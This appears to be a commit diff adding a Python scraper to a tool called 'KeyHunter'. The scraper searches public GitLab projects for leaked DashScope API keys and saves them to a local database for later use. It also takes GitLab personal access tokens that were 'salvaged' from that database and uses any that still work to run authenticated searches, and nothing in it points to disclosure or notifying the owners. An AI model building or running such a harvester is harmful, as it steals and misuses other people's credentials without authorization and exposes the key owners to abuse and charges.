KeyHunter parser v10 + 18 scanners + tests (synthetic fixtures only, no keys/db/tokens)

gitlab_scraper.py

@@ -0,0 +1,237 @@
+"""GitLab scraper for DashScope keys (sk-[0-9a-f]{32}) — no-auth reality.
+
+Probed gitlab.com API on 2026-10-19:
+  /search?scope=blobs        -> 401 unauth (global AND project-scoped)
+  /snippets/public           -> 401 unauth
+  /projects?search=X&order_by=star_count&sort=desc -> 200
+  /projects/:id/repository/tree?recursive=true     -> 200
+  /projects/:id/repository/files/:path/raw         -> 200
+So lane A tries salvaged GITLAB_PAT tokens for real global blob search;
+lane B (always) enumerates dashscope/qwen public projects by stars and
+scans candidate files via raw fetch.
+
+Dedupe vs keys.db; new keys -> prov='gitlab_public', status='NEW'.
+"""
+import hashlib
+import re
+import sqlite3
+import time
+from urllib.parse import quote
+
+import requests
+
+DB = r"C:\Users\User\Desktop\keyhunter\data\keys.db"
+API = "https://gitlab.com/api/v4"
+GLOBAL_QUERIES = ["DASHSCOPE_API_KEY sk-", "sk- qwen-max", "sk- dashscope"]
+PROJECT_QUERIES = ["dashscope", "qwen", "tongyi", "bailian", "qwen-max"]
+KEY_RE = re.compile(r"\bsk-[0-9a-f]{32}\b")
+DELAY = 0.5
+MAX_PROJECTS = 600          # ponytail: cap; raise if yield per 100 projects stays >0
+PAGES_PER_QUERY = 3         # 3x100 per project query
+TREE_PAGES = 3              # 300 entries of recursive tree per project
+RAW_PER_PROJECT = 8         # candidate files fetched per project
+MAX_RAW_BYTES = 400_000
+
+# candidate file priority: name hits first, then typical config/script exts
+NAME_HINTS = re.compile(
+    r"(dashscope|qwen|api[_-]?key|secret|token|\.env|credential|config|setting|key)",
+    re.I)
+EXTS = {".env", ".py", ".sh", ".js", ".ts", ".json", ".yaml", ".yml", ".md",
+        ".txt", ".ipynb", ".toml", ".ini", ".cfg", ".conf", ".jsx", ".tsx",
+        ".java", ".go", ".php", ".rb", ".ipynb", ".csv", ".xml", ".properties"}
+
+S = requests.Session()
+S.headers.update({"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) keyscan/1.0"})
+
+db = sqlite3.connect(DB, timeout=30)
+
+
+def log(msg):
+    print(time.strftime("[%H:%M:%S] ") + msg, flush=True)
+
+
+def seen_vals():
+    return {r[0] for r in db.execute("SELECT val FROM keys")}
+
+
+def insert_key(key, repo):
+    h = hashlib.sha1(key.encode()).hexdigest()[:16]
+    try:
+        db.execute(
+            "INSERT INTO keys (hash, val, prov, status, found, repo) "
+            "VALUES (?,?,?,?,?,?) "
+            "ON CONFLICT(hash) DO UPDATE SET status='NEW', found=excluded.found, repo=excluded.repo "
+            "WHERE keys.status IN ('DEAD','ERR')",
+            (h, key, "gitlab_public", "NEW", "gitlab-scraper", repo),
+        )
+        db.commit()
+    except sqlite3.Error:
+        pass
+
+
+def get_json(url, params=None, retries=2):
+    time.sleep(DELAY)
+    for attempt in range(retries + 1):
+        try:
+            r = S.get(url, params=params, timeout=30)
+        except requests.RequestException:
+            return None, None
+        if r.status_code == 429:
+            time.sleep(20 * (attempt + 1))
+            continue
+        if r.status_code != 200:
+            return r.status_code, None
+        try:
+            return 200, r.json()
+        except ValueError:
+            return None, None
+    return 429, None
+
+
+def harvest_keys(text, repo, seen):
+    n = 0
+    for k in set(KEY_RE.findall(text)):
+        if k in seen:
+            continue
+        seen.add(k)
+        insert_key(k, repo)
+        n += 1
+        log(f"  +NEW {k[:12]}… {repo}")
+    return n
+
+
+# ---------- lane A: salvaged token -> real global blob search ----------
+
+def probe_token():
+    rows = db.execute(
+        "SELECT val FROM keys WHERE prov='GITLAB_PAT' AND status IN ('LIMITED','NEW') LIMIT 20"
+    ).fetchall()
+    for (tok,) in rows:
+        if not tok.startswith("glpat-"):
+            continue
+        try:
+            r = requests.get(f"{API}/user", headers={"PRIVATE-TOKEN": tok}, timeout=15)
+        except requests.RequestException:
+            continue
+        if r.status_code == 200:
+            log(f"lane A: working token {tok[:10]}…")
+            return tok
+    log("lane A: no working salvaged token")
+    return None
+
+
+def global_search(token, seen):
+    S.headers["PRIVATE-TOKEN"] = token
+    total = 0
+    for q in GLOBAL_QUERIES:
+        log(f"lane A query: {q!r}")
+        for page in range(1, 11):
+            code, data = get_json(f"{API}/search",
+                                  {"scope": "blobs", "search": q,
+                                   "per_page": 100, "page": page})
+            if code != 200 or not data:
+                if code not in (200, None):
+                    log(f"  HTTP {code} p{page}, stop query")
+                break
+            for blob in data:
+                total += harvest_keys(blob.get("data", ""),
+                                      f"gitlab:{blob.get('project_id')}/{blob.get('path')}",
+                                      seen)
+                # raw fetch for keys truncated in snippet
+                pid, path, ref = blob.get("project_id"), blob.get("path", ""), blob.get("ref", "")
+                if pid and path:
+                    try:
+                        rr = S.get(f"{API}/projects/{pid}/repository/files/"
+                                   f"{quote(path, safe='')}/raw",
+                                   params={"ref": ref}, timeout=30)
+                        if rr.status_code == 200:
+                            total += harvest_keys(rr.text[:MAX_RAW_BYTES],
+                                                  f"gitlab:{pid}/{path}", seen)
+                    except requests.RequestException:
+                        pass
+                    time.sleep(DELAY)
+    S.headers.pop("PRIVATE-TOKEN", None)
+    return total
+
+
+# ---------- lane B: unauth project enum + tree scan + raw fetch ----------
+
+def enum_projects():
+    projects = {}
+    for q in PROJECT_QUERIES:
+        for page in range(1, PAGES_PER_QUERY + 1):
+            code, data = get_json(f"{API}/projects",
+                                  {"search": q, "per_page": 100, "page": page,
+                                   "order_by": "star_count", "sort": "desc"})
+            if code != 200 or not data:
+                break
+            for p in data:
+                if p.get("public") is not False:
+                    projects[p["id"]] = (p.get("path_with_namespace", str(p["id"])),
+                                         p.get("default_branch") or "HEAD")
+        if len(projects) >= MAX_PROJECTS:
+            break
+    items = list(projects.items())[:MAX_PROJECTS]
+    log(f"lane B: {len(items)} public projects")
+    return items
+
+
+def candidate_files(pid, branch):
+    """Recursive tree -> ranked candidate blob paths (max RAW_PER_PROJECT)."""
+    hits, others = [], []
+    for page in range(1, TREE_PAGES + 1):
+        code, data = get_json(f"{API}/projects/{pid}/repository/tree",
+                              {"recursive": "true", "per_page": 100,
+                               "page": page, "ref": branch})
+        if code != 200 or not data:
+            break
+        for ent in data:
+            if ent.get("type") != "blob":
+                continue
+            path = ent.get("path", "")
+            (hits if NAME_HINTS.search(path) else others).append(path)
+        if len(data) < 100:
+            break
+    return (hits + others)[:RAW_PER_PROJECT]
+
+
+def scan_project(pid, ns, branch, seen):
+    n = 0
+    for path in candidate_files(pid, branch):
+        try:
+            r = S.get(f"{API}/projects/{pid}/repository/files/"
+                      f"{quote(path, safe='')}/raw",
+                      params={"ref": branch}, timeout=30)
+        except requests.RequestException:
+            continue
+        time.sleep(DELAY)
+        if r.status_code == 200:
+            n += harvest_keys(r.text[:MAX_RAW_BYTES], f"gitlab:{ns}/{path}", seen)
+    return n
+
+
+def main():
+    seen = seen_vals()
+    log(f"db has {len(seen)} existing vals")
+    total = 0
+
+    tok = probe_token()
+    if tok:
+        total += global_search(tok, seen)
+        log(f"lane A total: {total} new")
+
+    projects = enum_projects()
+    for i, (pid, (ns, branch)) in enumerate(projects, 1):
+        found = scan_project(pid, ns, branch, seen)
+        if found:
+            log(f"[{i}/{len(projects)}] {ns}: {found} new")
+        total += found
+        if i % 50 == 0:
+            log(f"[{i}/{len(projects)}] running total: {total} new")
+
+    log(f"SUMMARY: found {total} NEW keys")
+    db.close()
+
+
+if __name__ == "__main__":
+    main()